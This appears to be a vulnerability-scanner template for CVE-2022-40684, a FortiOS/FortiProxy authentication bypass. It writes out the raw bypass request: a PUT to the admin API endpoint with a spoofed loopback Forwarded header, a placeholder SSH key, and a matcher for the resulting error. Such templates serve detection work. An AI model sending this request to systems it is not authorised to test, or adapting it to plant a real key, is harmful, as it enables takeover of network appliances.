CVE-2022-40684.yaml

id: CVE-2022-40684

info:
  name: FortiOS Authentication Bypass
  author: Shockwave
  severity: Critical
  description: An authentication bypass using an alternate path or channel vulnerability [CWE-288] in FortiOS, FortiProxy and FortiSwitchManager may allow an unauthenticated atttacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.
  reference:
    - https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684/

  tags: authentication bypass

requests:
  - raw:
      - |
        PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Report Runner
        Content-Type: application/json
        Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
        Content-Length: 610

        {
        "ssh-public-key1": "fake-key"
        }

    matchers:
      - type: word
        words:
          - 'Invalid SSH public key.\'